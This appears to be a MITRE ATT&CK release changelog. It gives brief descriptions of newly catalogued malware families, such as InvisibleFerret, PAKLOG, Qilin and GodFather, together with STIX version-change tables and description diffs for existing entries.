InvisibleFerret is a modular python malware that is leveraged for data exfiltration and remote access capabilities.(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023) InvisibleFerret consists of four modules: main, payload, browser, and AnyDesk.(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025) InvisibleFerret malware has been leveraged by North Korea-affiliated threat actors identified as DeceptiveDevelopment or Contagious Interview since 2023.(Citation: Recorded Future Contagious Inteview BeaverTail InvisibleFerret OtterCookie February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: PaloAlto Unit42 ContagiousInterview BeaverTail InvisibileFerret October 2024) InvisibleFerret has historically been introduced to the victim environment through the use of the BeaverTail malware.(Citation: Esentire ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: PaloAlto Unit42 ContagiousInterview BeaverTail InvisibileFerret October 2024)
Current version: 1.0
Description:
MEDUSA is an open-source rootkit that is capable of dynamic linker hijacking, command execution, and logging credentials.(Citation: Google Cloud Mandiant UNC3886 2024)
Current version: 1.0
Description:
MOPSLED is a shellcode-based modular backdoor that has been used by China-nexus cyber espionage actors including UNC3886 and APT41.(Citation: Google Cloud Mandiant UNC3886 2024)
Current version: 1.0
Description:
Medusa Ransomware has been utilized in attacks since at least 2021. Medusa Ransomware has been known to be utilized in conjunction with living off the land techniques and remote management software. Medusa Ransomware has been used in campaigns associated with “double extortion” ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid. Medusa Ransomware software was initially a closed ransomware variant which later evolved to a Ransomware as a Service (RaaS). Medusa Ransomware has impacted victims from a diverse range of sectors within a multitude of countries, and it is assessed Medusa Ransomware is used in an opportunistic manner.(Citation: CISA Medusa Group Medusa Ransomware March 2025)(Citation: Security Scorecard Medusa Ransomware January 2024)(Citation: Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024)(Citation: Broadcom Medusa Ransomware Medusa Group March 2025)
Current version: 1.0
Description:
PAKLOG is a keylogger known to be leveraged by Mustang Panda and was first observed utilized in 2024. PAKLOG is deployed via a RAR archive (e.g., key.rar), which contains two files: a signed, legitimate binary (PACLOUD.exe) and the malicious PAKLOG DLL (pa_lang2.dll). The PACLOUD.exe binary is used to side-load the PAKLOG DLL which starts with the keylogger functionality.(Citation: Zscaler PAKLOG CorkLog SplatCloak Splatdropper April 2025)
Current version: 1.0
Description:
PUBLOAD is a stager malware that has been observed installing itself in existing directories such as C:\Users\Public or creating new directories to stage the malware and its components.(Citation: 2022 November_TrendMicro_Earth Preta_Toneshell_Pubload) PUBLOAD malware collects details of the victim host, establishes persistence, encrypts victim details using RC4 and communicates victim details back to C2. PUBLOAD malware has previously been leveraged by China-affiliated actors identified as Mustang Panda. PUBLOAD is also known as “NoFive” and some public reporting identifies the loader component as CLAIMLOADER.(Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)
Current version: 1.0
Description:
Qilin ransomware is a Ransomware-as-a-Service (RaaS) that has been active since at least 2022 with versions written in Golang and Rust that are capable of targeting Windows or VMWare ESXi devices. Qilin shares functionality overlaps with Black Basta, REvil, and BlackCat ransomware and its RaaS affiliates have been observed targeting multiple sectors worldwide, including healthcare and education in Asia, Europe, and Africa. (Citation: Trend Micro Agenda Ransomware AUG 2022)(Citation: SentinelOne Qilin NOV 2022)(Citation: BushidoToken Qilin RaaS JUN 2024)(Citation: Sophos Qilin MSP APR 2025)
Current version: 1.0
Description:
REPTILE is an open-source Linux rootkit with multiple components that provides backdoor access and functionality.(Citation: Google Cloud Mandiant UNC3886 2024)
Current version: 1.0
Description:
RIFLESPINE is a cross-platform backdoor that leverages Google Drive for file transfer and command execution.(Citation: Google Cloud Mandiant UNC3886 2024)
Current version: 1.0
Description:
RedLine Stealer is an information-stealer malware variant first identified in 2020.(Citation: ESET RedLine Stealer November 2024)(Citation: Proofpoint RedLine Stealer March 2020)(Citation: Splunk RedLine Stealer June 2023) RedLine Stealer is a Malware as a Service (MaaS) and was reportedly sold as either a one-time purchase or a monthly subscription service.(Citation: ESET RedLine Stealer November 2024)(Citation: Veriti RedLine Stealer MAAS April 2023) Information obtained from RedLine Stealer has been known to be sold on the deep and dark web to Initial Access Brokers (IABs), who use or resell the stolen credentials for further intrusions.(Citation: Kroll RedLine Stealer August 2024)(Citation: Veriti RedLine Stealer MAAS April 2023)
Current version: 1.0
Description:
STATICPLUGIN is a downloader known to be leveraged by Mustang Panda and was first observed utilized in 2025. STATICPLUGIN has utilized a valid certificate in order to bypass endpoint security protections. STATICPLUGIN masqueraded as legitimate software installer by using a custom TForm. STATICPLUGIN has been leveraged to deploy a loader that facilitates follow on malware.(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)
Current version: 1.0
Description:
SplatCloak is a malware that disables EDR-related routines used by Windows Defender and Kaspersky to aid in evading detection. SplatCloak has been deployed by SplatDropper and is known to be leveraged by Mustang Panda since 2025.(Citation: Zscaler PAKLOG CorkLog SplatCloak Splatdropper April 2025)
Current version: 1.0
Description:
SplatDropper is a loader that utilizes native windows API to deliver its payload to the victim environment. SplatDropper has been delivered through RAR archives and used legitimate executable for DLL side-loading. SplatDropper is known to be leveraged by Mustang Panda and was first observed utilized in 2025.
Current version: 1.0
Description:
StarProxy is custom malware used by Mustang Panda as a post-compromise tool, to enable proxying of traffic between the infected machine and other machines on the same network. (Citation: Zscaler)
Current version: 1.0
Description:
THINCRUST is a Python-based backdoor tool that has been used by UNC3886 since at least 2023.(Citation: Mandiant Fortinet Zero Day)
Current version: 1.0
Description:
TONESHELL is a custom backdoor that has been used since at least Q1 2021.(Citation: Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023) TONESHELL malware has previously been leveraged by Chinese affiliated actors identified as Mustang Panda.(Citation: ATTACKIQ MUSTANG PANDA TONESHELL March 2023)(Citation: Zscaler)
Current version: 1.0
Description:
VIRTUALPIE is a lightweight backdoor written in Python that spawns an IPv6 listener on a VMware ESXi server and features command line execution, file transfer, and reverse shell capabilities. VIRTUALPIE has been in use since at least 2022 including by UNC3886 who installed it via malicious vSphere Installation Bundles (VIBs).(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)
Current version: 1.0
Description:
VIRTUALPITA is a passive backdoor with ESXi and Linux vCenter variants capable of command execution, file transfer, and starting and stopping processes. VIRTUALPITA has been in use since at least 2022 including by UNC3886 who leveraged malicious vSphere Installation Bundles (VIBs) for install on ESXi hypervisors.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)
Current version: 1.0
Description:
XORIndex Loader is a XOR-encoded loader that collects host data, decodes follow-on scripts and acts as a downloader for the BeaverTail malware. XORIndex Loader was first reported in June 2025. XORIndex Loader has been leveraged by North Korea-affiliated threat actors identified as Contagious Interview. XORIndex Loader has been delivered to victims through code repository sites utilizing typo squatting naming conventions of various npm packages.(Citation: Socket BeaverTail XORIndex HexEval Contagious Interview July 2025)
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:38:44.147000+00:00 | 2025-10-03 14:46:54.018000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'DiceLoader', 'description': '(Citation: Cocomazzi FIN7 Reboot)'} | |
| external_references | {'source_name': 'Icebot', 'description': '(Citation: Cocomazzi FIN7 Reboot) '} | |
| external_references | {'source_name': 'Cocomazzi FIN7 Reboot', 'description': 'Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot | Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.', 'url': 'https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/'} | |
| x_mitre_aliases | Icebot | |
| x_mitre_aliases | DiceLoader | |
| x_mitre_contributors | Matt Brenton |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-11 02:58:53.131000+00:00 | 2025-10-22 02:32:48.657000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-11 02:56:34.181000+00:00 | 2025-10-22 03:24:56.552000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-11 02:51:38.922000+00:00 | 2025-10-21 03:13:35.145000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:42:48.512000+00:00 | 2025-10-22 02:26:07.951000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:12:30.748000+00:00 | 2025-10-21 03:10:03.937000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:38:07.230000+00:00 | 2025-10-21 15:28:37.027000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-17 14:43:38.590000+00:00 | 2025-10-22 02:47:28.036000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 2.1 | 2.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:43:49.304000+00:00 | 2025-06-06 14:12:30.197000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:38:53.716000+00:00 | 2025-10-13 20:02:57.828000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-22 22:18:48.564000+00:00 | 2025-10-21 03:02:05.582000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:43:41.197000+00:00 | 2025-10-22 02:34:29.842000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:45:10.924000+00:00 | 2025-10-22 02:30:54.011000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-02-09 19:24:50.164000+00:00 | 2025-10-22 02:57:05.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-11 02:22:04.078000+00:00 | 2025-10-21 23:23:39.286000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:42:43.623000+00:00 | 2025-10-22 02:28:32.075000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-11 01:44:46.026000+00:00 | 2025-10-21 03:20:18.481000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 2.1 | 2.2 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:43:19.859000+00:00 | 2025-10-21 23:25:05.477000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:38:22.811000+00:00 | 2025-10-21 22:49:31.186000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-02-06 18:59:08.263000+00:00 | 2025-10-21 17:57:24.341000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-02-06 19:00:57.083000+00:00 | 2025-10-21 23:34:46.898000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-07-26 17:48:10.580000+00:00 | 2025-10-21 03:17:00.503000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:38:02.252000+00:00 | 2025-06-06 14:13:34.557000+00:00 |
| x_mitre_version | 2.1 | 2.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-11 00:49:47.226000+00:00 | 2025-10-21 22:47:45.475000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:38:16.324000+00:00 | 2025-10-21 23:07:12.767000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:42:35.581000+00:00 | 2025-10-22 03:14:37.092000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-10-10 14:35:13.781000+00:00 | 2025-10-21 23:09:37.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-17 22:02:37.451000+00:00 | 2025-10-22 02:17:48.978000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:38:39.717000+00:00 | 2025-10-22 02:21:47.267000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-17 19:55:07.592000+00:00 | 2025-10-21 23:00:57.240000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-11 00:27:30.199000+00:00 | 2025-10-22 03:16:19.980000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:42:34.849000+00:00 | 2025-10-22 03:00:39.798000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 2.3
Version changed from: 2.2 → 2.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-17 23:08:38.543000+00:00 | 2025-10-22 02:14:27.600000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 2.2 | 2.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-10-11 14:44:53.661000+00:00 | 2025-10-14 21:40:02.258000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-04 03:50:32.975000+00:00 | 2025-10-14 18:39:05.993000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-11 00:21:09.543000+00:00 | 2025-10-22 03:21:09.704000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.5
Version changed from: 1.4 → 1.5
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-08-05 18:23:59.724000+00:00 | 2025-06-06 14:56:00.296000+00:00 |
| x_mitre_version | 1.4 | 1.5 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:38:20.361000+00:00 | 2025-10-21 03:24:27.158000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:43:33.592000+00:00 | 2025-10-22 03:02:12.918000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-09-12 19:39:44.514000+00:00 | 2025-10-21 22:55:49.669000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:38:04.465000+00:00 | 2025-10-22 02:19:45.278000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-26 19:54:38.780000+00:00 | 2025-10-22 03:12:00.816000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2023-10-04 15:36:06.160000+00:00 | 2025-10-22 02:07:46.452000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:38:41.797000+00:00 | 2025-10-22 03:18:16.948000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:44:55.728000+00:00 | 2025-10-22 02:39:07.705000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:38:45.234000+00:00 | 2025-06-06 14:56:56.321000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-10 23:44:19.752000+00:00 | 2025-10-21 23:26:56.446000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-03-25 22:52:49.139000+00:00 | 2025-09-29 20:22:30.453000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-10 20:34:14.166000+00:00 | 2025-10-21 03:29:54.769000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 3.1
Version changed from: 3.0 → 3.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:44:17.288000+00:00 | 2025-10-22 02:49:35.030000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 3.0 | 3.1 |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-08-14 15:21:48.196000+00:00 | 2025-06-04 16:11:23.752000+00:00 |
| x_mitre_version | 2.1 | 2.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:59.825000+00:00 | 2025-10-22 02:37:07.176000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-27 21:35:52.624000+00:00 | 2025-10-16 19:37:56.911000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:42:35.950000+00:00 | 2025-10-22 03:06:38.183000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.8
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Empire](https://attack.mitre.org/software/S0363) is an open | t | 1 | [Empire](https://attack.mitre.org/software/S0363) is an open |
| > | source, cross-platform remote administration and post-explo | > | -source, cross-platform remote administration and post-explo | ||
| > | itation framework that is publicly available on GitHub. Whil | > | itation framework that is publicly available on GitHub. Whil | ||
| > | e the tool itself is primarily written in Python, the post-e | > | e the tool itself is primarily written in Python, the post-e | ||
| > | xploitation agents are written in pure [PowerShell](https:// | > | xploitation agents are written in pure [PowerShell](https:// | ||
| > | attack.mitre.org/techniques/T1059/001) for Windows and Pytho | > | attack.mitre.org/techniques/T1059/001) for Windows and Pytho | ||
| > | n for Linux/macOS. [Empire](https://attack.mitre.org/softwar | > | n for Linux/macOS. [Empire](https://attack.mitre.org/softwar | ||
| > | e/S0363) was one of five tools singled out by a joint report | > | e/S0363) was one of five tools singled out by a joint report | ||
| > | on public hacking tools being widely used by adversaries.(C | > | on public hacking tools being widely used by adversaries.(C | ||
| > | itation: NCSC Joint Report Public Tools)(Citation: Github Po | > | itation: NCSC Joint Report Public Tools)(Citation: Github Po | ||
| > | werShell Empire)(Citation: GitHub ATTACK Empire) | > | werShell Empire)(Citation: GitHub ATTACK Empire) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-09-25 20:32:02.152000+00:00 | 2025-10-24 03:33:19.777000+00:00 |
| description | [Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire) | [Empire](https://attack.mitre.org/software/S0363) is an open-source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 3.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-04 17:15:48.780000+00:00 | 2025-09-11 18:28:54.041000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.0
Description:
CherryBlos is an Android malware that steals credentials and redirects cryptocurrency to adversary-controlled wallets. CherryBlos was labelled Robot 999 in its first appearance in April 2023; since then, various aliases have been used, including GPTalk, Happy Miner, and SynthNet. The threat actors behind CherryBlos uploaded the malware to different Google Play regions, such as Malaysia, Vietnam, Indonesia, Philippines, Uganda, and Mexico.(Citation: TrendMicro_CherryBlos_July2023)
Current version: 1.0
Description:
DCHSpy is an Android spyware likely used by MuddyWater. DCHSpy uses political decoys and masquerades as legitimate applications, such as VPNs and banking applications, to trick victims into downloading the malware. Once downloaded, DCHSpy collects information from the device and exfiltrates the data to the command and control (C2) server.(Citation: Lookout_DCHSpy_July2025)
Current version: 1.0
Description:
GodFather is an Android banking malware that uses virtualization to mimic legitimate applications and abuses accessibility services and other permissions to evade detection and exfiltrate sensitive data. First identified in 2020, GodFather targets nearly 500 banking applications, cryptocurrency wallets, and exchanges worldwide; however, its virtualization-based attacks have primarily focused on several Turkish financial institutions. This capability enables threat actors to steal banking credentials and other sensitive account information. (Citation: ZimperiumOrtegaPratapagiri_GodFather_Jun2025)(Citation: MerkleScience_Godfather_April2023)
Current version: 1.0
Description:
RatMilad is an Android remote access tool (RAT) with spyware functionality that has been used to target enterprise mobile devices in the Middle East since at least 2021. Variants of RatMilad have been disguised as VPN applications and a fake app named NumRent. Upon installation, RatMilad employs multiple Collection techniques to collect sensitive information before uploading the collected data to its command and control (C2) server. (Citation: ZimperiumGupta_RatMilad_Oct2022)
Current version: 2.0
Version changed from: 1.0 → 2.0
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Chameleon](https://attack.mitre.org/software/S1083) is an A | t | 1 | [Chameleon](https://attack.mitre.org/software/S1083) is an A |
| > | ndroid banking trojan that can leverage Android’s Accessibil | > | ndroid banking trojan that can leverage Android’s Accessibil | ||
| > | ity Services to perform malicious activities. Believed to ha | > | ity Services to perform malicious activities. Believed to ha | ||
| > | ve been first active in January 2023, [Chameleon](https://at | > | ve been first active in January 2023, [Chameleon](https://at | ||
| > | tack.mitre.org/software/S1083) has been observed targeting u | > | tack.mitre.org/software/S1083) has been observed targeting u | ||
| > | sers in Australia and Poland by masquerading as official app | > | sers in Australia and Poland by masquerading as official app | ||
| > | s.(Citation: cyble_chameleon_0423) | > | lications. A new variant of [Chameleon](https://attack.mitre | ||
| > | .org/software/S1083) has expanded its targets to include And | ||||
| > | roid users in the United Kingdom and Italy.(Citation: cyble_ | ||||
| > | chameleon_0423)(Citation: ThreatFabric_Chameleon_Dec2023) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:22:06.355000+00:00 | 2025-10-24 03:53:35.020000+00:00 |
